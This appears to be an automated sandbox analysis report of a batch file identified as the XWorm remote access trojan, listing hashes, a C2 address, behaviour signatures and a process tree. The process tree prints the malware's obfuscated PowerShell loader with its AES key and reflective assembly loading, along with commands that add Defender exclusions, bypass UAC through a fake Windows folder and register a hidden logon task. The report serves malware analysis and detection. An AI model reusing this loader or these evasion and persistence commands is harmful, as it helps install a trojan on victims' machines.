Analysis

  • max time kernel
    1799s
  • max time network
    1797s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-05-2024 14:58

General

  • Target

    FN-INTERNAL.bat

  • Size

    376KB

  • MD5

    121a69448e9f5eef0ba4c1229b471208

  • SHA1

    90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

  • SHA256

    b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

  • SHA512

    c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

  • SSDEEP

    6144:C+g8ai0m+BiS0FY9tRpUOAIeJxsOjzW1JlW5nHa5EV8hpzjHRQbh9xph9aK7PGaj:C+gdOSOYbRHjeJxbOJlW5niJSdT9amGk

Malware Config

Extracted

Family

xworm

Version

5.0

C2

software-led.gl.at.ply.gg:38954

Mutex

m6tgeOEIIMDuaFcQ

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 14 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Drops file in System32 directory
    • Checks processor information in registry
    • Modifies registry class
    PID:800
    • C:\Windows\system32\BackgroundTransferHost.exe
      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
      2⤵
        PID:4516
      • C:\Windows\System32\mousocoreworker.exe
        C:\Windows\System32\mousocoreworker.exe -Embedding
        2⤵
          PID:4120
        • C:\Windows\system32\backgroundTaskHost.exe
          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
          2⤵
            PID:4516
          • C:\Windows\system32\backgroundTaskHost.exe
            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
            2⤵
              PID:2624
            • C:\Windows\system32\backgroundTaskHost.exe
              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
              2⤵
                PID:2720
              • C:\Windows\system32\BackgroundTransferHost.exe
                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                2⤵
                  PID:2348
                • C:\Windows\system32\backgroundTaskHost.exe
                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                  2⤵
                    PID:1396
                  • C:\Windows\system32\BackgroundTransferHost.exe
                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                    2⤵
                      PID:1876
                    • C:\Windows\system32\BackgroundTransferHost.exe
                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                      2⤵
                        PID:4220
                      • C:\Windows\system32\backgroundTaskHost.exe
                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                        2⤵
                          PID:4888
                        • C:\Windows\system32\BackgroundTaskHost.exe
                          "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
                          2⤵
                            PID:1608
                          • C:\Windows\system32\backgroundTaskHost.exe
                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                            2⤵
                              PID:4968
                            • C:\Windows\system32\DllHost.exe
                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                              2⤵
                                PID:4296
                              • C:\Windows\System32\rundll32.exe
                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                2⤵
                                  PID:4824
                                • C:\Windows\system32\backgroundTaskHost.exe
                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                  2⤵
                                    PID:3620
                                  • C:\Windows\System32\mousocoreworker.exe
                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                    2⤵
                                      PID:5112
                                    • C:\Windows\system32\backgroundTaskHost.exe
                                      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
                                      2⤵
                                        PID:4436
                                      • C:\Windows\system32\backgroundTaskHost.exe
                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                        2⤵
                                          PID:4064
                                        • C:\Windows\system32\backgroundTaskHost.exe
                                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXxw3e32mpkfkfbh0tznpwwqfw96t0tfx6.mca
                                          2⤵
                                            PID:1976
                                          • C:\Windows\System32\RuntimeBroker.exe
                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                            2⤵
                                              PID:2736
                                            • C:\Windows\system32\BackgroundTaskHost.exe
                                              "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
                                              2⤵
                                                PID:5104
                                              • C:\Windows\System32\RuntimeBroker.exe
                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                2⤵
                                                  PID:920
                                                • C:\Windows\system32\DllHost.exe
                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                  2⤵
                                                    PID:4812
                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                    2⤵
                                                      PID:1448
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k RPCSS -p
                                                    1⤵
                                                      PID:900
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                                                      1⤵
                                                        PID:960
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                        1⤵
                                                          PID:736
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                                                          1⤵
                                                            PID:652
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                            1⤵
                                                            • Drops file in System32 directory
                                                            PID:1036
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                                                            1⤵
                                                              PID:1052
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                              1⤵
                                                                PID:1076
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                                                1⤵
                                                                  PID:1092
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                                  1⤵
                                                                    PID:1104
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                    1⤵
                                                                      PID:1240
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                                      1⤵
                                                                        PID:1260
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                                                        1⤵
                                                                          PID:1380
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                                                          1⤵
                                                                            PID:1412
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                                            1⤵
                                                                              PID:1428
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                              1⤵
                                                                                PID:1452
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                                                1⤵
                                                                                  PID:1512
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                                  1⤵
                                                                                    PID:1632
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                                                    1⤵
                                                                                      PID:1680
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                                                      1⤵
                                                                                        PID:1728
                                                                                      • C:\Windows\System32\svchost.exe
                                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                                                        1⤵
                                                                                          PID:1740
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                          1⤵
                                                                                            PID:1836
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                                                            1⤵
                                                                                              PID:1928
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                              1⤵
                                                                                                PID:1936
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                                                1⤵
                                                                                                  PID:2024
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                                                  1⤵
                                                                                                    PID:1724
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                                                    1⤵
                                                                                                      PID:2184
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                      1⤵
                                                                                                        PID:2192
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                                                        1⤵
                                                                                                          PID:2220
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                                          1⤵
                                                                                                            PID:2272
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                            1⤵
                                                                                                              PID:2516
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                                              1⤵
                                                                                                                PID:2668
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                                                                1⤵
                                                                                                                  PID:2744
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                                                  1⤵
                                                                                                                    PID:2752
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                                                    1⤵
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:2780
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                                                    1⤵
                                                                                                                      PID:2848
                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                                                      1⤵
                                                                                                                        PID:2908
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                                        1⤵
                                                                                                                          PID:2928
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                          1⤵
                                                                                                                            PID:3436
                                                                                                                          • C:\Windows\Explorer.EXE
                                                                                                                            C:\Windows\Explorer.EXE
                                                                                                                            1⤵
                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                            • Modifies registry class
                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            • Suspicious use of UnmapMainImage
                                                                                                                            PID:3460
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
                                                                                                                              2⤵
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:2080
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                cmd /c "set __=^&rem"
                                                                                                                                3⤵
                                                                                                                                  PID:3216
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                                  3⤵
                                                                                                                                    PID:4076
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:2088
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                                                                                                                                      4⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:2532
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                      PID:1960
                                                                                                                                      • C:\Windows \System32\ComputerDefaults.exe
                                                                                                                                        "C:\Windows \System32\ComputerDefaults.exe"
                                                                                                                                        5⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                        PID:3816
                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                          cmd.exe /c call SC.cmd
                                                                                                                                          6⤵
                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                          PID:4104
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            cmd /c "set __=^&rem"
                                                                                                                                            7⤵
                                                                                                                                              PID:4952
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                                              7⤵
                                                                                                                                                PID:3712
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                                                                                                                                                7⤵
                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                PID:1700
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                                                                                                                                                  8⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:1992
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
                                                                                                                                                  8⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:2916
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\SC')
                                                                                                                                                  8⤵
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:840
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                                                  8⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:4464
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
                                                                                                                                          4⤵
                                                                                                                                            PID:3648
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL')
                                                                                                                                            4⤵
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:840
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                                            4⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:3552
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                      1⤵
                                                                                                                                        PID:3664
                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                        1⤵
                                                                                                                                          PID:4552
                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                          1⤵
                                                                                                                                            PID:1060
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                            1⤵
                                                                                                                                              PID:2164
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                              1⤵
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:3856
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                              1⤵
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:4868
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                              1⤵
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              PID:3724
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                              1⤵
                                                                                                                                                PID:2432
                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                1⤵
                                                                                                                                                  PID:3024

                                                                                                                                                Network

                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                Replay Monitor

                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                Downloads

                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                                                                                                                                                  Filesize

                                                                                                                                                  404B

                                                                                                                                                  MD5

                                                                                                                                                  fb8948844e2e5d21b84fe506be1d9772

                                                                                                                                                  SHA1

                                                                                                                                                  4b9153de351ad607b8f69b372e5e378d3c460ee1

                                                                                                                                                  SHA256

                                                                                                                                                  5f396c4c376cd5683e3d2463740082efab96f1d9d3c8619b1cf365022a91d78a

                                                                                                                                                  SHA512

                                                                                                                                                  db03799cd93abe5079b00e8ec27316b7df9565bddd5315efeadc66dd52b9ab076214a68d9e9a70c83ac45dd4a6c967f980632ca082725750514313b2118903d4

                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                                  Filesize

                                                                                                                                                  330B

                                                                                                                                                  MD5

                                                                                                                                                  1eebd386377081a211039d5848585777

                                                                                                                                                  SHA1

                                                                                                                                                  40469b7a59529e89aed29d852f84354933577225

                                                                                                                                                  SHA256

                                                                                                                                                  d4904f7df0ed447f91c76a5a71516837eb8a7d8333d22c7a89533d2e4a62bf43

                                                                                                                                                  SHA512

                                                                                                                                                  16aeec2990f9c1ebb114b39ba4b8e4afd7cfae72fbaa6ed8de80bc7f63066ab8ec0064e561516da0cee9e788bc08675ae82c55ace3c420b500d049d6cf3b4d51

                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                                  Filesize

                                                                                                                                                  330B

                                                                                                                                                  MD5

                                                                                                                                                  d69723e8354210d28ed15ab0abe84821

                                                                                                                                                  SHA1

                                                                                                                                                  c17c901a5478818c195990f0701b125f9b136d9e

                                                                                                                                                  SHA256

                                                                                                                                                  88c698e4ce35ed3a7c0956cb533f930774ed4f5bbd1cdaa698273b4aed64f348

                                                                                                                                                  SHA512

